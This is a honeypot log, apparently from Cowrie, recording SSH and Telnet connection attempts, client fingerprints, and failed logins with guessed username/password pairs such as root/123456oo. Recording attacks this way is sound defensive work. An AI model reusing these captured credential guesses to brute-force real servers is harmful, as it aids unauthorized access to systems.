{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:27.374074Z","src_ip":"147.45.211.215","session":"a605dcb47a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha2002","message":"login attempt [root/masha2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:27.874488Z","src_ip":"147.45.211.215","session":"a605dcb47a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:29.042213Z","src_ip":"147.45.211.215","session":"a605dcb47a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":39396,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b306dce0a2c","protocol":"telnet","message":"New connection: 72.167.226.244:39396 (10.17.0.5:23) [session: 2b306dce0a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:43.998168Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":61836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6762a6ed50dd","protocol":"ssh","message":"New connection: 87.156.182.84:61836 (10.17.0.5:22) [session: 6762a6ed50dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:51.349715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:51.370745Z","src_ip":"87.156.182.84","session":"6762a6ed50dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:51.472130Z","src_ip":"87.156.182.84","session":"6762a6ed50dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456oo","message":"login attempt [root/123456oo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:55.418724Z","src_ip":"87.156.182.84","session":"6762a6ed50dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:56.899201Z","src_ip":"87.156.182.84","session":"6762a6ed50dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":40112,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db3126cceef","protocol":"ssh","message":"New connection: 173.236.247.120:40112 (10.17.0.5:22) [session: 9db3126cceef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:58.781219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:58.784330Z","src_ip":"173.236.247.120","session":"9db3126cceef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:58.792687Z","src_ip":"173.236.247.120","session":"9db3126cceef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phantom","password":"P@ssw0rd#S@f3!1","message":"login attempt [phantom/P@ssw0rd#S@f3!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:58.822803Z","src_ip":"173.236.247.120","session":"9db3126cceef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:59.834300Z","src_ip":"173.236.247.120","session":"9db3126cceef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.64088535308838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:54:15.638941Z","src_ip":"72.167.226.244","session":"2b306dce0a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54874,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ee94f43d2ce","protocol":"telnet","message":"New connection: 137.184.5.188:54874 (159.203.135.109:23) [session: 5ee94f43d2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:54:37.008054Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":48358,"dst_ip":"10.17.0.5","dst_port":23,"session":"1397caa839aa","protocol":"telnet","message":"New connection: 72.167.226.244:48358 (10.17.0.5:23) [session: 1397caa839aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:54:39.267313Z"}
{"eventid":"cowrie.session.closed","duration":30.78547692298889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:10.052637Z","src_ip":"72.167.226.244","session":"1397caa839aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":57924,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bcfa3b6e5e","protocol":"ssh","message":"New connection: 103.82.20.28:57924 (159.203.135.109:22) [session: 02bcfa3b6e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:16.380195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:16.383973Z","src_ip":"103.82.20.28","session":"02bcfa3b6e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:16.649337Z","src_ip":"103.82.20.28","session":"02bcfa3b6e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290378","message":"login attempt [root/290378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:17.448612Z","src_ip":"103.82.20.28","session":"02bcfa3b6e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:18.716623Z","src_ip":"103.82.20.28","session":"02bcfa3b6e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":33140,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6fadbbb861b","protocol":"ssh","message":"New connection: 185.215.164.223:33140 (159.203.135.109:22) [session: a6fadbbb861b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:31.848434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:31.852092Z","src_ip":"185.215.164.223","session":"a6fadbbb861b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:31.943425Z","src_ip":"185.215.164.223","session":"a6fadbbb861b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peru","password":"Lima#Bitc0!n$P@ssw0rd","message":"login attempt [peru/Lima#Bitc0!n$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:32.346709Z","src_ip":"185.215.164.223","session":"a6fadbbb861b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:33.439758Z","src_ip":"185.215.164.223","session":"a6fadbbb861b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38652,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c89513da9f","protocol":"ssh","message":"New connection: 103.15.222.183:38652 (159.203.135.109:22) [session: 09c89513da9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:42.233188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:42.237492Z","src_ip":"103.15.222.183","session":"09c89513da9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:42.471742Z","src_ip":"103.15.222.183","session":"09c89513da9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14121980","message":"login attempt [root/14121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:43.181051Z","src_ip":"103.15.222.183","session":"09c89513da9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:44.417984Z","src_ip":"103.15.222.183","session":"09c89513da9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.05193591117859,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:52.059860Z","src_ip":"137.184.5.188","session":"5ee94f43d2ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a7dc202712","protocol":"ssh","message":"New connection: 86.111.187.163:38248 (10.17.0.5:22) [session: 40a7dc202712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:59.978076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:55:59.981434Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.053702Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:4a:e5:0e:97:13:0c:a3:88:8f:8f:22:e7:16:36:24","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI+oy6zqSEhQAlFGZ9wFjZ2x1jOfoX7hFUfubbS5akYOcF880iXuikh5rN1KwidON1YKRe/NYdzQrngXVOuuL2QlL67OLD6JRvGjQXa4Y4KW/nt0VSbJLY2Jbc/75KWuXz2QInt5jHJe31Nn5KKkXHVHUSGFpsSoWXEAkOHlBsfZAAAAFQCKexYEwjlBBCWgO3l1QEMYyITb/wAAAIBh0SaMQUsj9C6NgJQzkvVvxkxDW+2E6LvoLoJPoZGlhtshcqgQWf8cJkz94HL37/kmftRgI5EwJRTpS9bm2y5fnKP4y8Oe9IhAueokfRRBHbnNKDm3qTwMofQzvCmLgnpoZoYS+IJvDTKDGHJSIODMHKDUCl/W+TJUrXfgj85YiQAAAIArv+jCEiD/h9IX2WCuNOPEMjFHsim8iabEfhzHGhceDFAmWuqBTw9Cp0wTdQ1X81SoBO6lpQLfqp1YnKIJjkMTfv73P/GItZcY3dBmM1RRVjCqfyKWWi/hdnJZ16IdTB1RiwAHamPRScTzT3cyY0BTUVeh2HnY/ReCCDnvJRhHQQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ed:4a:e5:0e:97:13:0c:a3:88:8f:8f:22:e7:16:36:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.391885Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:4a:e5:0e:97:13:0c:a3:88:8f:8f:22:e7:16:36:24","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI+oy6zqSEhQAlFGZ9wFjZ2x1jOfoX7hFUfubbS5akYOcF880iXuikh5rN1KwidON1YKRe/NYdzQrngXVOuuL2QlL67OLD6JRvGjQXa4Y4KW/nt0VSbJLY2Jbc/75KWuXz2QInt5jHJe31Nn5KKkXHVHUSGFpsSoWXEAkOHlBsfZAAAAFQCKexYEwjlBBCWgO3l1QEMYyITb/wAAAIBh0SaMQUsj9C6NgJQzkvVvxkxDW+2E6LvoLoJPoZGlhtshcqgQWf8cJkz94HL37/kmftRgI5EwJRTpS9bm2y5fnKP4y8Oe9IhAueokfRRBHbnNKDm3qTwMofQzvCmLgnpoZoYS+IJvDTKDGHJSIODMHKDUCl/W+TJUrXfgj85YiQAAAIArv+jCEiD/h9IX2WCuNOPEMjFHsim8iabEfhzHGhceDFAmWuqBTw9Cp0wTdQ1X81SoBO6lpQLfqp1YnKIJjkMTfv73P/GItZcY3dBmM1RRVjCqfyKWWi/hdnJZ16IdTB1RiwAHamPRScTzT3cyY0BTUVeh2HnY/ReCCDnvJRhHQQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.395739Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
